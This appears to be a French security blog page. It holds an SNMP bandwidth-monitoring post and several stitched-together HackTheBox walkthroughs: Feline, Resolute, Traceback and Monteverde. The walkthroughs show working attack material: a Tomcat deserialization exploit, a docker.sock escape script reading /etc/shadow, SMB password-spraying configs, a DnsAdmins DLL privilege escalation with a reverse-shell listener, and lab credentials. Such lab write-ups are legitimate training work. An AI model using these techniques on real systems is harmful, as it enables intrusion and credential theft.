Je cherchais le moyen d’obtenir à intervalles réguliers la bande passante consommée (en entrée et sortie) de chacune de mes interfaces réseaux, notamment celles « virtuelles », à savoir des VPN (IPSec), sur mes firewalls.
Pour une architecture réseau en étoile (Hub and spoke en anglais) le plus simple est bien-sûr d’interroger l’équipement central qui s’interconnecte avec chacun des sites distants. Ce qui était mon cas.
L’objectif étant au final d’obtenir un fichier source avec toutes les valeurs me permettant ainsi d’alimenter un script pour ensuite générer une carte d’utilisation de bande passante (network weathermap en anglais) rafraîchie toutes les 5 secondes. Comme ci-dessous :
Script Bash
Explications
Vous trouverez plus bas le script Bash que j’ai utilisé pour récupérer les données via SNMP et les traiter. Comme les compteurs des interfaces réseaux s’incrémentent sans cesse, l’idée est de prendre les valeurs à l’instant T puis de les reprendre à l’instant T + 5 secondes.
Puis par un simple calcul on obtient la bande passante consommée en entrée et sortie. Enfin, en appelant régulièrement le script (crontab ou boucle), vous obtiendrez différentes valeurs qui pourraient alimenter d’autres scripts comme PHP Weathermap par exemple, que j’utilise.
Pensez à mettre les bons paramètres (variables) avant de lancer le script :
J’utilise SNMPv2 dans mon cas car les données récupérées ne sont pas sensibles et il suffit de bien configurer les droits.
J’utilise la MIB standard (ISO/CCITT) pour interroger le firewall, ce qui est le cas avec beaucoup de fournisseurs/marques avec laquelle ils sont compatibles.
Par contre, il était important de prendre les compteurs 64 bits (ifHCInOctets/ifHCOutOctets) et non 32 bits (ifInOctets/ifOutOctets), au risque de voir le compteur repartir à zéro rapidement, surtout si vous avez de gros liens/débits.
Pour finir, vous aurez juste à retirer le nom de fichier « bandwidth.txt » de la ligne 62 pour le générer et le conserver sur disque pour l’intégrer avec un autre script si besoin.
Code source
Voici le script en question, suffisamment commenté je pense :
Voilà, j’espère que ce sera utile à certains d’entre vous. A noter que ce script Bash devrait pouvoir fonctionner tel quel avec d’autres équipements que les Fortigate.
Pour d’autres types de réseaux ou besoins, on pourrait très bien imaginer avoir une liste de firewall en entrée qui serait parcouru et ainsi chacun serait interrogé avec ce script en parallèle pour gagner du temps. Je ferai un article là dessus aussi je pense.
Dernière chose, pour ceux qui s’interrogent sur la mise en forme du code dans l’article, j’ai utilisé l’excellent site : https://carbon.now.sh/
Pour cette nouvelle machine virtuelle j’ai utilisé l’interface web Pwnbox du site HackTheBox qui est basée sur la distribution Parrot Security, elle-même basée sur Debian :
Cette fonctionnalité est uniquement accessible aux utilisateurs du plan « VIP ». Elle est très pratique et bien pensée : choix de la localisation du serveur, fonctionne avec un simple navigateur et/ou accès SSH, accès spectateur…etc
Seul hic : on à le droit à seulement 24H par mois… et cela file vite !!
Mais avec le nouveau plan VIP+, plus de limite !
J’ai également utilisé pour l’occasion l’un de mes scripts spécifiquement adapté pour celle-ci afin d’améliorer le temps de reconnaissance initiale :
Moins de 5 minutes pour installer le script et scanner les 131070 ports TCP+UDP et identifier les éventuelles vulnérabilités associées, auto-promotion 😉
Ce pas à pas sera « un peu » plus long et détaillé que les derniers.
Introduction
Cette fois on s’attaque à une machine virtuelle de niveau « Hard » mais qui n’est pas insurmontable. Elle permet, là encore, de s’attaquer à de récentes vulnérabilités découvertes, et permet d’aborder différents aspects côté réseau, système et applicatif. Très complète et intéressante dans le cheminement.
Voici les grandes phases et technologies abordées :
J’installe et je lance mon script MassVulScan4HTB.sh :
Seulement deux services ouverts : SSH et HTTP avec 9 potentielles failles identifiées pour le dernier :
Avant d’explorer les différentes failles à la recherche d’un RCE, voyons à quoi ressemble la page web. Nous avons deux sites dédiés à l’analyse de virus :
Le champ email semble accepter n’importe quoi (email ou pas), par contre tous les formats de fichiers ne semblent pas supportés. Ici à gauche une image PNG bloquée et à droite un script Perl qui passe :
Nous allons regarder un peu plus en détails les requêtes avec Burp Suite. Il suffit de lancer l’application et de paramétrer Firefox pour pointer dessus.
Nous allons intercepter une requête qui fonctionne (fichier autorisé) et l’analyser (« Intercept On » puis « Action » -> « Send to Repeater ») :
Maintenant, que se passe-t-il si on supprime le nom du fichier par exemple (filename= » » puis « Send ») ? Réponse :
On récupère une erreur Java intéressante. En effet, on a le chemin complet où les fichiers sont téléversés : /opt/samples/uploads
Avec un fichier interdit (PNG), on obtient autre erreur Java et un autre chemin :
Chemin récupéré mais avec un « Permission denied », rien d’intéressant :
Je ne trouve rien de probant à ce stade, et je ne trouve rien de plus avec wfuzz ou dirsearch au niveau des répertoires et fichiers. Pas d’injection type SQL non plus.
Je prends donc le temps de regarder les vulnérabilités identifiées plus tôt et l’une d’elle semble intéressante. Elle appropriée à la situation et à la version d’Apache Tomcat : https://vulners.com/cve/CVE-2020-9484
Globalement, si le serveur est configuré avec les modes « PersistentManager » et « FileStore« , les sessions permutées/inactives sont enregistrées sur disque. Dans ce cas, la faille est exploitable.
Pour vérifier si nous sommes concernés par cette vulnérabilité, nous avons besoin de 3 choses principales :
C’est lors de la phase de désérialisation que le code malvaillant est executé même si nous obtenons une erreur HTTP 500 par la suite (pas de session correspondante).
Sinon, en gros, la sérialisation consiste à transformer des données informatiques en informations plus petites pour être transmises par le réseau. La désérialisation effectue la démarche inverse afin de retrouver les données initiales, à l’identique.
Phase d’exploitation 1/3 (Apache Tomcat)
Installer et utiliser ysoserial
Etapes à suivre pour l’installation de yoserial :
git clone https://github.com/frohoff/ysoserial
cd ysoserial/
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
On génère ensuite notre payload (objet sérialisé) comme ceci avec le payload le plus « commun », le numéro 2 (le 1 n’a pas fonctionné) et avec l’extension « .session » :
Dans un shell je lance un serveur HTTP en écoute sur port 8888 :
python -m SimpleHTTPServer 8888
Pour appeler notre code nous devrons utiliser http://feline.htb et modifier le cookie « JSESSIONID » comme suit (comme indiqué dans l’article) sans l’extension :
JSESSIONID=../../../../../opt/samples/uploads/rce
Le reste en vidéo de démonstration :
Ca fonctionne ! On a bien une connexion sur notre instance depuis le serveur :
Reverse shell via Apache Tomcat
Maintenant que nous avons un PoC fonctionnel, nous allons pouvoir obtenir un shell inversé. Nous procéderons en trois étapes :
L’application n’est pas exposée sur tous ses interfaces réseaux, elle n’est accessible que localement, par la loopback.
Je décide de télécharger le PoC sur le serveur et de le tester… mais ce serait trop facile ! Python3.8 est bien présent mais il manque des packages… et bien-sûr aucun droit pour les installer.
Plutôt que de perdre mon temps à chercher un moyen d’installer ce qu’il manque, je prends le choix d’exposer ce port à travers une connexion SSH :
Nous aurions pu également utiliser Metasploit pour cela mais c’était un peu plus contraigant à faire (mais plus securisé).
PoC pour CVE-2020-*****
Maintenant nous pouvons donc utiliser notre script Python ditectement depuis notre instance Pwnbox, on voit ici la connexion SSH établie et le nouveau port 4506 en écoute :
Malheureusement pour nous, cela ne fonctionne pas… erreur « UnboundLocalError: local variable ‘root_key’ referenced before assignment« .
On découvre donc que nous sommes root… mais d’un container, c’est déjà ca ! En regardant les dernières commandes tapées dans le fichier « .bash_history« , on découvre cette ligne de commande :
Cela indique que la machine qui héberge ce container communique par le bias de ce socket avec ce dernier. On vérifie qu’il est bien actif, c’est bien le cas :
ls -l /var/run/docker.sock
C’est un vecteur d’attaque, car depuis notre container nous pouvons également accéder aux données de l’hôte…
Comme PoC nous allons donc tenter de créer un nouveau container afin d’accéder au fichier des mots de passe sur l’hôte en root. Voici les étapes nécessaires :
Créer un fichier JSON pour le container
Créer notre container avec ce fichier
Démarrer notre container
Créer un fichier JSON pour l’execution de lecture
Lancer l’execution de la commande
Nous allons utiliser un script Bash (docker_exploit.sh) pour que cela soit plus simple, voici son contenu :
#!/bin/bash
#
# Nouveau container avec un montage du systeme de fichiers hote
#
echo -e '{"Image":"sandbox", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' > container.json
# Creation du container
new_container=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create | cut -d'"' -f4)
# On demarre le container
curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/${new_container}/start
sleep 2
#
# Lecture d'un fichier de l'hote
#
echo -e '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' > read.json
# Creation de l'exec
read_file=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat read.json)" http://localhost/containers/${new_container}/exec | cut -d'"' -f4)
# Affichage du resultat
curl -s -o - -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{}' http://localhost/exec/${read_file}/start
rm -rf container.json read.json
Il suffit ensuite de l’envoyer sur le serveur et l’executer :
Il ne reste plus qu’à modifier notre script pour récupérer le flag root :
Conclusion
Jusqu’à présent c’est ma VM favorite sous Linux, on y apprend beaucoup de choses. Elle est très complète : technologies variées tout comme les failles exploitées, on touche au système, réseau et applicatif.
C’est pour ces raisons que j’ai pris du plaisir et du temps pour détailler ce write-up, j’espère que vous aussi !
Une machine virtuelle sympathique pour améliorer ses connaissances durant les phases d’énumération sous Windows. La partie exploitation est également très intéressante et nous montre de nouvelles techniques.
Les informations que nous avons à notre disposition sont :
IPv4 = 10.10.10.169
Nom de la VM = resolute.htb (par défaut chez HTB)
J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.
Phase de reconnaissance
J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :
Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.
Voici la totalité des 24 ports (TCP) ouverts :
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-21 21:13:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
51658/tcp open unknown
Je ne fais pas de scan des ports UDP.
Phase d’énumération 1/2
D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine MEGABANK.
Pour ce type de serveur, je mets systématiquement deux fichiers à jour : /etc/hosts et /etc/resolv.conf + un nptdate avec le serveur cela peut être utile si on doit jouer avec Kerberos. Et on valide également que le port UDP 123 est aussi ouvert :
Nous pouvons interroger le service MS-RPC de Windows à travers Samba/RPC et une Null session avec enum4linux, on récupère une liste de 27 utilisateurs :
abigail Name: (null) Desc: (null)
Administrator Name: (null) Desc: Built-in account for administering the computer/domain
angela Name: (null) Desc: (null)
annette Name: (null) Desc: (null)
annika Name: (null) Desc: (null)
claire Name: (null) Desc: (null)
claude Name: (null) Desc: (null)
DefaultAccount Name: (null) Desc: A user account managed by the system.
felicia Name: (null) Desc: (null)
fred Name: (null) Desc: (null)
Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
gustavo Name: (null) Desc: (null)
krbtgt Name: (null) Desc: Key Distribution Center Service Account
marcus Name: (null) Desc: (null)
marko Name: Marko Novak Desc: Account created. Password set to Welcome123!melanie Name: (null) Desc: (null)
naoki Name: (null) Desc: (null)
paulo Name: (null) Desc: (null)
per Name: (null) Desc: (null)
ryan Name: Ryan Bertrand Desc: (null)
sally Name: (null) Desc: (null)
simon Name: (null) Desc: (null)
steve Name: (null) Desc: (null)
stevie Name: (null) Desc: (null)
sunita Name: (null) Desc: (null)
ulf Name: (null) Desc: (null)
zach Name: (null) Desc: (null)
On découvre rapidement le user marko avec un mot de passe Welcome123! qui bien-sûr ne fonctionne pas. Ma stratégie de base est toujours tester les accès suivants pour chacun des comptes :
mot de passe = username/logoname
mot de passe = vide
mot de passe = Welcome123! (suite à notre découverte)
Je vais construire un fichier users.txt contenant la liste des comptes et utiliser Metasploit avec le module smb_login, en modifiant quelques options :
msfconsole
use auxiliary/scanner/smb/smb_login
set blank_passwords true
set rhosts resolute.htb
set smbdomain MEGABANK
set smbpass Welcome123!
set user_as_pass true
set user_file users.txt
run
Metasploit va être utile pour identifier les couples user/mot de passe valides
Un premier accès valide est identifié avec le compte de melanie :
Un accès valide
Phase d’exploitation 1/2
Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cela fonctionne et nous obtenons le fichier user.txt :
Avec cet utilisateur j’ai utilisé plusieurs outils afin d’automatiser la tâche comme WindowsEnum, Powerless and kerbrute mais je ne trouve rien.
Par contre, on découvre la présence d’un autre répertoire utilisateur, celui d’un certain Ryan…
Sur le forum HackTheBox on parle de fichiers cachés… je décide de suivre cette voie, cela me permet d’en apprendre un peu plus sur PowerShell.
La commande suivante va nous aider :
Get-ChildItem . -Force
Rapidement on trouve un répertoire intéressant :
Tiens, un répertoire qui n’est pas commun…
Et en cherchant un peu on tombe sur un fichier texte qui ressemble à un fichier de log :
Hum, un fichier de log…
Bingo ! Le fichier contient les accès d’un second utilisateur, notre Ryan justement :
Deuxième accès utilisateur
Nous nous connectons à nouveau avec l’outil Evil-WINRM et ce compte, et on peut voir un groupe local intéressant auquel il appartient, DnsAdmins :
whoami /all
Ryan appartient au groupe DnsAdmins
Une simple recherche sur Internet avec les mots clés privilege escalation windows dnsadmins et on tombe sur cet article très instructif. Tous les détails dans ce second article.
Il semble possible d’executer du code, en l’occurence une dll, avec les droits du compte SYSTEM grâce au service dns.exe. Ce qui ne semble pas représenter une faille de sécurité pour Microsoft, seulement une mauvaise gestion des droits.
On va tenter cette méthode d’exploitation.
Phase d’exploitation 2/2
Il faut d’abord générer notre charge utile avec msfvenom (un fichier *.dll) :
Et voici les trois fenêtres/Shell avec les différentes commandes executées, nous aboutissons au résultat voulu :
On lance le serveur SMB dans un shell :
cd /usr/share/doc/python3-impacket/examples/
./smbserver.py SHARE ~/HTB/Resolute/
Dans un second shell on lance un port en écoute pour le reverse shell :
nc -nlvp 4444
Et dans le dernier, on redémarre le service DNS :
sc.exe stop dns
sc.exe start dns
Nous sommes root.
Nous pouvons donc récuperer le fichier root.txt :
Conclusion
J’ai bien aimé cette VM, une de mes favorites pour l’instant avec Sauna. Cela ouvre d’autres voies d’explorations et d’élévations de privilèges.
Par contre, je suis toujours surpris par le classement des VM sur le niveau de difficulté. Sauna était plus difficile à mon sens. Après, cela dépend certainement des compétences/connaissances de chacun et des affinités que l’on a avec telle ou telle technologie.
Traceback est une machine virtuelle Linux plutôt fun à faire, que ce soit pour la partie énumération que l’élévation des privilèges.
Pour ma part, j’ai appris à utiliser un nouvel outil pour arriver à mes fins.
La phase d’énumération sort un peu de l’ordinaire et nous force à nous creuser les méninges.
Les informations que nous avons à notre disposition sont :
IPv4 = 10.10.10.181
Nom de la VM = traceback.htb (par défaut chez HTB)
J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.
Phase de reconnaissance
J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :
On identifie ainsi rapidement tous les ports ouverts avec leurs services respectifs. Seulement deux ports (TCP) ouverts :
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Je n’effectue pas de scan des ports UDP.
Phase d’énumération 1/2
D’après les ports ouverts nous voyons qu’il s’agit d’un simple serveur Web. Une seule page Web accessible lors de la connexion :
Une simple page web avec une information utile…
Il semble y avoir une porte dérobée mais laquelle…
J’ai commencé par regarder le site Web en profondeur (fuzzing) avec différents outils et listes de mots mais sans succès…
Mais en regardant le code source de la page, on a un indice :
Un indice, un shell Web…
Du coup, j’ai fait une recherche sur Internet (Google) avec les mots clés web shells Xh4H (signature du message) et là on tombe sur la page GitHub de l’auteur (le premier lien). Puis avec une recherche sur la page (CTRL + F) avec le mot shell on a ce dépôt :
Et en bas de la page du dépôt on retrouve la fameuse citation, nous sommes sur la bonne piste :
La même citation que dans le code source de la page Web…
Je décide de créer ma propre liste de mots avec les pages présentes :
Puis je lance à nouveau une recherche avec l’outil DirSearch et cette fois on obtient un résultat prometteur :
Enfin on tient quelque chose !
Nous avons enfin accès à la porte dérobée :
La page smevk.php
Sur GitHub, le code source indique que par défaut les accès sont admin/admin :
admin / admin…
Effectivement, c’est bien ca 🙂
Nous sommes (enfin) connectés.
Nous pouvons constater que notre user s’appelle webadmin :
$ whoami
webadmin
Malheureusement, pas de fichier user.txt mais d’autres fichiers intéressants qui devraient nous aider pour la suite :
$ ls -la
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 .
drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
-rw------- 1 webadmin webadmin 105 Mar 16 04:03 .bash_history
-rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local
-rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 06:29 .ssh
-rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 03:53 note.txt
Nous allons ajouter notre clé publique SSH sur le serveur. Pour cela, il suffit de se rendre dans le dossier /home/webadmin/.ssh puis d’éditer le fichier authorized_keys et de cliquer sur >> pour valider :
Ajoutons notre clé publique SSH
Il ne reste plus qu’à se connecter et à poursuivre nos recherches :
root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa webadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3
webadmin@traceback:~$
Je m’intéresse toujours à l’historique des commandes Bash, il y a souvent des chose intéressantes, et c’est le cas ici avec le script luvit qui se lancerait avec les droits d’un second utilisateur, sysadmin :
webadmin@traceback:~$ cat note.txt
sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
Phase d’exploitation 1/2
Nous pouvons effectivement lancer le script, nous obtenons une sorte de Shell dédié au langage de script LUA :
webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvitWelcome to the Luvit repl!
>
J’effectue des recherches sur Internet sur ce langage et je tombe sur ce cite : https://gtfobins.github.io/gtfobins/lua/. Il semble possible d’obtenir un Shell interactif.
Obtenir un Shell interactif avec LUA.
Effectivement, cela fonctionne, et nous obtenons les droits du second utilisateur sysadmin :
Et voilà, nous sommes sysadmin.
Il nous suffit là aussi d’ajouter notre clé publique SSH afin d’obtenir une connexion SSH confortable pour continuer l’énumération :
On ajoute notre clé SSH publique.
Parfait, cela fonctionne :
root@HTB:~/HTB/Traceback# ssh -i ~/.ssh/id_rsa sysadmin@10.10.10.181
#
-------- OWNED BY XH4H ---------
I guess stuff could have been configured better ^^ -
#
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ bash
sysadmin@traceback:~$
Je commence à faire le tour du propriétaire manuellement mais je ne trouve rien. Je décide d’utiliser le script LinEnum.sh mais sur le coup rien ne me saute aux yeux. Sur le forum de Hack the box je vois le nom d’un outil qui circule que je ne connaissais pas et décide de m’en servir : https://github.com/DominicBreuker/pspy.
Après quelques secondes je vois un message apparaître :
Un script est lancé toutes les 30 secondes…
Pourquoi un script écraserait toutes les 30 secondes les bannières de connexion au shell (motd) ?… et là cela me donne idée ! Vérifier les droits que nous avons dans le répertoire /etc :
Bingo ! Nous pouvons écrire dans ces fichiersqui appartiennent à root. La suite est toute simple : modifier l’un de ces fichiers afin de pouvoir obtenir des accès privilégié. Mais il faudra faire vite !
Phase d’exploitation 2/2
Pour la phase d’exploitation j’ai ouvert quatre consoles avec pour chacune un accès Shell (SSH), comme ceci (vidéo de démonstration en dessous) :
Un Shell qui surveille le processus de copie (en bas à droite)
Un Shell pour copier le fichier root.txt (en bas à gauche)
Un Shell qui surveille la copie du fichier (en haut à droite)
Un shell qui va déclencher l’exploitation (en haut à gauche)
Une machine virtuelle relativement intéressante pour améliorer ses connaissances sur Windows, notamment Active Directory et Azure. En effet, je la trouve moins prenante que Sauna par exemple et surtout moins difficile. Pour moi, c’est une machine Easy et non Medium.
La phase d’énumération est simple et rapide sur cette machine. Ensuite, une fois identifié le profil de la VM, on s’oriente rapidement sur une piste pour arriver à nos fins
Les informations que nous avons à notre disposition sont :
IPv4 = 10.10.10.172
Nom de la VM = monteverde.htb (par défaut chez HTB)
J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.
Phase de reconnaissance
J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :
Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.
Voici la totalité des 20 ports (TCP) ouverts :
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-07 01:01:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49778/tcp open msrpc Microsoft Windows RPC
Parmi les ports ouverts nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), pour obtenir un shell.
Phase d’énumération 1/2
D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.
Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, on récupère de suite une liste d’utilisateurs :
Nous allons vérifier rapidement si nous pouvons récupérer un premier accès utilisateur avec Metasploit. Avant cela, nous allons créer un fichier contenant nos utilisateurs :
Ensuite, on lance Metasploit et on va utiliser le module smb_login avec les options suivantes modifiées :
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record guest-privileged random logins to the database
RHOSTS 10.10.10.172 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users
USER_FILE users.txt no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Déjà un premier accès utilisateur disponible avec le compte SABatchJobs :
Un premier compte utilisateur identifié
Ce compte ne donne pas le droit d’obtenir un shell via le service WinRM avec l’outil Evil-WinRM :
Impossible d’avoir un shell avec le compte SABatchJobs
Voyons si on récupère plus d’informations avec ce compte, toujours avec le service MS-RPC de Windows. Mais cette fois on va s’aider d’un outil bien connu et déjà intégré à la distribution Kali, à savoir enum4linux :
root@HTB:~/HTB/Monteverde# enum4linux -a -u SABatchJobs -p SABatchJobs 10.10.10.172
On patiente un peu et on peut déjà obtenir certaines information comme le nom des groupes (notamment Azure Admins) ainsi qu’une liste de partages réseaux accessibles, là aussi avec une référence à Azure :
Partages réseaux
Groupes du domaine MEGABANK
Maintenant vérifions si on peut récupérer des informations intéressantes dans les dossiers identifiés précédemment avec smbclient. On obtient un fichier qui pourrait être utile dans l’un des dossiers utilisateurs :
On récupère le fichier azure.xml
Ce fichier contient un mot de passe en lien avec le produit Microsoft Azure, encore un indice comme le groupe que l’on a vu plus haut :
Clin d’oeil aux marins du 19ème siècle, payés un dollar par jour de labeur
Utilisons à nouveau Metasploit pour voir si ce mot de passe fonctionne avec l’un des autres comptes du domaine. Toujours avec le module smb_login mais cette fois on indique un mot de passe :
Module options (auxiliary/scanner/smb/smb_login):
msf5 auxiliary(scanner/smb/smb_login) > show options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record guest-privileged random logins to the database
RHOSTS 10.10.10.172 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass 4n0therD4y@n0th3r$ no The password for the specified username
SMBUser no The username to authenticate as
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE users.txt no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Bingo, un nouvel utilisateur, mhope :
Deuxième compte de domaine identifié
Phase d’exploitation 1/2
Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons à nouveau l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cette fois cela fonctionne :
On récupère le fichier de sortie vers notre machine pour analyse. On découvre des programmes utilisés par notre administrateur mhope concernant Azure et notamment Azure AD Sync :
Liste des logiciels installés, dont certains pour Microsoft Azure
En analysant les applications et DLL présentes dans ce répertoire on tombe notamment sur le fichier mcrypt.dll :
Ce fichier sert à gérer les clés et le déchiffrement des données de la base de données.
Cela tombe bien, avec WindowsEnum nous avons également pu découvrir d’autres ports ouverts mais non accessibles de l’exterieur, notamment le port Microsoft SQL TCP 1433 :
Base de données SQL active
Il semble donc possible d’extraire facilement les données contenues dans la base de données.
Phase d’exploitation 2/2
Le PoC présent dans l’article semble comporter des erreurs de formatage de certains caractères et ne fonctionne pas pour moi.
Là aussi, cela ne fonctionne pas directement, il ne se passe rien lors du lancement du script. J’ai donc retiré certaines parties du script et mis directement les informations dedans et là, miracle !
Nous avons donc le mot de passe du compte root. Il ne reste plus qu’à se reconnecter mais cette fois avec le compte administrator pour obtenir le drapeau root.txt :
root@HTB:~/HTB/Monteverde# evil-winrm -i 10.10.10.172 -u Administrator -p d0m@in4dminyeah!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> cd ../desktopEvil-WinRM PS C:\Users\Administrator\desktop> more root.txt
12909612d25c8dcf6e5a07d1a804a0bc
Conclusion
Nous voilà déjà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est plutôt simple à mon goût. Ensuite, Google sera d’une grande aide pour obtenir le compte root.
L’article sur Azure AD est par contre très intéressant et on apprend pas mal de chose.
Voici une machine virtuelle très intéressante que je recommande fortement aux débutants qui veulent améliorer leurs connaissances sur Windows, notamment Active Directory.
